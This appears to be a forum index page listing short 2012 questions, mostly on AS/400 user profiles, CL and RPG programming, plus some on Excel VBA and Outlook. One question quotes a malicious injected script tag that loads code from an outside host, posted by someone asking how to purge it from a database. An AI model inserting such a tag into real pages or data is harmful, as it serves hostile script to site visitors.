How can i check user last login after 3 month and disable?
In AS/400 system. My company have 600 user that use AS/400. How can i check users last login after 3 month and disable these users?
Answer Question
| June 22, 2012 10:56 AM
AS/400, AS/400 programming, AS/400 user profiles
In AS/400 system. My company have 600 user that use AS/400. How can i check users last login after 3 month and disable these users?
Answer Question
| June 22, 2012 10:56 AM
AS/400, AS/400 programming, AS/400 user profiles
CL questions
1. Does CL check for the file declared in the program before compiling the pgm? or will the cl pgm get compiled if the file declared in the pgm does not exists in the system? 2. Does CL check for the data area declared in the pgm before compiling the pgm 3. If i declare [...]
Answer Question
| June 23, 2012 10:34 AM
CL programs
1. Does CL check for the file declared in the program before compiling the pgm? or will the cl pgm get compiled if the file declared in the pgm does not exists in the system? 2. Does CL check for the data area declared in the pgm before compiling the pgm 3. If i declare [...]
Answer Question
| June 23, 2012 10:34 AM
CL programs
physical files……
hello sir, I have found one problem while update data in source file. I creats one source file after 14 it shows this message “The compile of member JPF1 was submitted to Batch. + Job 476274/NITINB/JPF1 submitted to job queue QBATCH in library QGPL” after using of UPDDTA on [...]
Answer Question
| June 22, 2012 10:25 AM
as400/DB2
hello sir, I have found one problem while update data in source file. I creats one source file after 14 it shows this message “The compile of member JPF1 was submitted to Batch. + Job 476274/NITINB/JPF1 submitted to job queue QBATCH in library QGPL” after using of UPDDTA on [...]
Answer Question
| June 22, 2012 10:25 AM
as400/DB2
How can I swap user profile on active job
Hi I need to find out how to swap user profile on an active job… Is it possible?Devan Hi further to my question on swapping active jobs is that we run LANSA on the AS400. Once the LANSA application opens it automcatically assigns a session to DC@PGMLIB on wrkactjob, even though the user name and [...]
Answer Question
| July 9, 2012 7:03 AM
AS400 Job Status
Hi I need to find out how to swap user profile on an active job… Is it possible?Devan Hi further to my question on swapping active jobs is that we run LANSA on the AS400. Once the LANSA application opens it automcatically assigns a session to DC@PGMLIB on wrkactjob, even though the user name and [...]
Answer Question
| July 9, 2012 7:03 AM
AS400 Job Status
how to extract job details into an outfile from WRKJOBSCDE
I would like to have an outfile which contains the job details (job, user, scheduled date, time, status.. etc). Can any help me to get an outfile.
Answer Question
| June 21, 2012 6:57 AM
Scheduler, WRKJOBSCDE
I would like to have an outfile which contains the job details (job, user, scheduled date, time, status.. etc). Can any help me to get an outfile.
Answer Question
| June 21, 2012 6:57 AM
Scheduler, WRKJOBSCDE
need rpg code to add two values and dsp in the same screen in result field
THERE ARE TWO FILED CALLED “FILED A” and “FIELD B” IN DSP FILE IF I GIVEN VALUES FOR BOTH FIELDS i.e,, FIELD A = 5 AND FIELD B =6 >>>>>>>>> I NEED TO GET ANSWER “11” IN “RESULT” FIELD DSPFIL FILEDA + FIELDB RESULT 5 6 11 I [...]
Answer Question
| June 25, 2012 6:48 AM
AS 400
THERE ARE TWO FILED CALLED “FILED A” and “FIELD B” IN DSP FILE IF I GIVEN VALUES FOR BOTH FIELDS i.e,, FIELD A = 5 AND FIELD B =6 >>>>>>>>> I NEED TO GET ANSWER “11” IN “RESULT” FIELD DSPFIL FILEDA + FIELDB RESULT 5 6 11 I [...]
Answer Question
| June 25, 2012 6:48 AM
AS 400
CPF4102 ON FILE THAT IS IN QTEMP ACTIVATION GROUP PROBLEM(MAYBE)
CLPgm_1 …..: FILE_1 IS CREATED IN QTEMP FROM A CRTDUPOBJ AND DATA IS COPIED INTO IT FOR A CERTAIN MEMBER. CLPgm_1 …..: CALLS CLPGM_2 THAT EVENTUALLY DOES AN OVERRIDE WITH MBR(&FMBR) SECURE(*YES) OVRSCOPE(*JOB) SHARE(*YES) OPNSCOPE(*JOB) FILE_0 TO FILE_1. ClpGM_2……: CALLS RPGPGM_1 AND THE PROGRAM BOMBS WITH CPF4102 SINCE THERE IS A MEMBER ASSIGNED TO THE [...]
Answer Question
| June 21, 2012 7:32 PM
ACTIVATION GROUP OVRDBF
CLPgm_1 …..: FILE_1 IS CREATED IN QTEMP FROM A CRTDUPOBJ AND DATA IS COPIED INTO IT FOR A CERTAIN MEMBER. CLPgm_1 …..: CALLS CLPGM_2 THAT EVENTUALLY DOES AN OVERRIDE WITH MBR(&FMBR) SECURE(*YES) OVRSCOPE(*JOB) SHARE(*YES) OPNSCOPE(*JOB) FILE_0 TO FILE_1. ClpGM_2……: CALLS RPGPGM_1 AND THE PROGRAM BOMBS WITH CPF4102 SINCE THERE IS A MEMBER ASSIGNED TO THE [...]
Answer Question
| June 21, 2012 7:32 PM
ACTIVATION GROUP OVRDBF
reading a pf in reverse order using cl program
Hi, How to read a physical file in reverse order using cl program ny example with coding would ne much helpful. Thanks. any sample code would be verymuch helpful
Answer Question
| September 1, 2012 4:09 PM
CL
Hi, How to read a physical file in reverse order using cl program ny example with coding would ne much helpful. Thanks. any sample code would be verymuch helpful
Answer Question
| September 1, 2012 4:09 PM
CL
compare physical file
can any one tell me how to compare two phisical files in AS400? Can it be done thrugh some query statement?
Answer Question
| June 20, 2012 3:36 PM
AS/400, AS400 physical file
can any one tell me how to compare two phisical files in AS400? Can it be done thrugh some query statement?
Answer Question
| June 20, 2012 3:36 PM
AS/400, AS400 physical file
Remove SQL Injection script
I need a t-SQL routine that will remove this script ‘</title><script src=http://statsmy.com/ur.php ></script>’ from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!
Answer Question
| June 20, 2012 3:28 PM
SQL injection
I need a t-SQL routine that will remove this script ‘</title><script src=http://statsmy.com/ur.php ></script>’ from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!
Answer Question
| June 20, 2012 3:28 PM
SQL injection
Command-line parameters not executing
I have an application that can be execute from the command line (batch). When I run it from cmd window it works or double click on the .bat file it works as well but when I put in command in vbscript or .bat file and run it from the aspx web app, only the app [...]
Answer Question
| June 21, 2012 3:16 PM
WSH scripts
I have an application that can be execute from the command line (batch). When I run it from cmd window it works or double click on the .bat file it works as well but when I put in command in vbscript or .bat file and run it from the aspx web app, only the app [...]
Answer Question
| June 21, 2012 3:16 PM
WSH scripts
Month names between 2 numeric Cymd format dates
hi, Hi, I have 2 Numeric field which has cymd date format Date1 7s 0 Date2 7s 0 date1 = 1110128 ( which is 2011-01-28 : January) date2 = 1120101 (which is 2012-01-01 ;January) So what i need is , I need to write records in a file , what are all the months inbetween these [...]
Answer Question
| June 24, 2012 2:28 PM
AS/400, RPGLE
hi, Hi, I have 2 Numeric field which has cymd date format Date1 7s 0 Date2 7s 0 date1 = 1110128 ( which is 2011-01-28 : January) date2 = 1120101 (which is 2012-01-01 ;January) So what i need is , I need to write records in a file , what are all the months inbetween these [...]
Answer Question
| June 24, 2012 2:28 PM
AS/400, RPGLE
can i install oracle 9i on windows7 operating system?
can i install oracle 9i on windows7 operating system?
Answer Question
| June 20, 2012 9:25 AM
oracle9i, Windows741
can i install oracle 9i on windows7 operating system?
Answer Question
| June 20, 2012 9:25 AM
oracle9i, Windows741
Array file and run time arrays
Hi all, Can anybody tell me what is array file in F-spec, and how we declare run time arrays in D-spec and how we specify array file in I-spec ? can we declare externally discribed file as array file in F-spec. Please clarify me with examples.
Answer Question
| June 20, 2012 6:29 AM
AS/400, RPG
Hi all, Can anybody tell me what is array file in F-spec, and how we declare run time arrays in D-spec and how we specify array file in I-spec ? can we declare externally discribed file as array file in F-spec. Please clarify me with examples.
Answer Question
| June 20, 2012 6:29 AM
AS/400, RPG
I want to play one of two wav files
I want to play one of two wav files when cell D11 value changed from Right to Wrong. What I have works perfectly for the value “Right”. But I don’t know how to change the code to play a wav for “Wrong”. I tried adding a second modual but that did not work. Sheet 1 [...]
Answer Question
| June 21, 2012 5:03 AM
Microsoft Excel, microsoft excel functions
I want to play one of two wav files when cell D11 value changed from Right to Wrong. What I have works perfectly for the value “Right”. But I don’t know how to change the code to play a wav for “Wrong”. I tried adding a second modual but that did not work. Sheet 1 [...]
Answer Question
| June 21, 2012 5:03 AM
Microsoft Excel, microsoft excel functions
Are user subs and functions in the microsoft office object model hierarchy?
I’m an experienced Excel VBA programmer, who is trying to write a macro in Excel that uses functions and subs in Outlook. I’ve done some searching and found that the standard answer looks something like: <code> objApp = CreateObject(“Outlook.Application”) call objApp.UserSubName(argument1, argument2) </code> where UserSubName is the name of the sub in Outlook. [...]
Answer Question
| June 19, 2012 7:50 PM
Excel 2007, Microsoft Office 2007, object model, Outlook 2007
I’m an experienced Excel VBA programmer, who is trying to write a macro in Excel that uses functions and subs in Outlook. I’ve done some searching and found that the standard answer looks something like: <code> objApp = CreateObject(“Outlook.Application”) call objApp.UserSubName(argument1, argument2) </code> where UserSubName is the name of the sub in Outlook. [...]
Answer Question
| June 19, 2012 7:50 PM
Excel 2007, Microsoft Office 2007, object model, Outlook 2007
Outlook problem with proposed meeting time
I am a participant to a meeting when I attempt to propose a new time , the proposal is addressed to me and not to the organizer. Can someone tell me why is it happening?
Answer Question
| June 19, 2012 5:19 PM
Microsoft Exchange 2007, Microsoft Outlook 2010
I am a participant to a meeting when I attempt to propose a new time , the proposal is addressed to me and not to the organizer. Can someone tell me why is it happening?
Answer Question
| June 19, 2012 5:19 PM
Microsoft Exchange 2007, Microsoft Outlook 2010
Write a line in to a text file using VBA
Hi, I want to write a line in to a existing text file. My file is divided in to a sections. There are 13 sections with headers as : [Phase1] … some lines [Phase 2] … some lines . . . . Now at the end of the each header section, I want to insert [...]
Answer Question
| June 19, 2012 3:59 PM
VBA, VBA functions
Hi, I want to write a line in to a existing text file. My file is divided in to a sections. There are 13 sections with headers as : [Phase1] … some lines [Phase 2] … some lines . . . . Now at the end of the each header section, I want to insert [...]
Answer Question
| June 19, 2012 3:59 PM
VBA, VBA functions
Summing shared data from a subreport
I have a report where I want to sum the value of a group. To get the correct number I first need to sum the multiple receipts and subtract the total receipts from the quantity required. This gives me the correct value which I multiple to the unit price. I have the correct unit price [...]
Answer Question
| June 19, 2012 3:37 PM
Crystal Reports 10, Crystal Reports formulas
I have a report where I want to sum the value of a group. To get the correct number I first need to sum the multiple receipts and subtract the total receipts from the quantity required. This gives me the correct value which I multiple to the unit price. I have the correct unit price [...]
Answer Question
| June 19, 2012 3:37 PM
Crystal Reports 10, Crystal Reports formulas
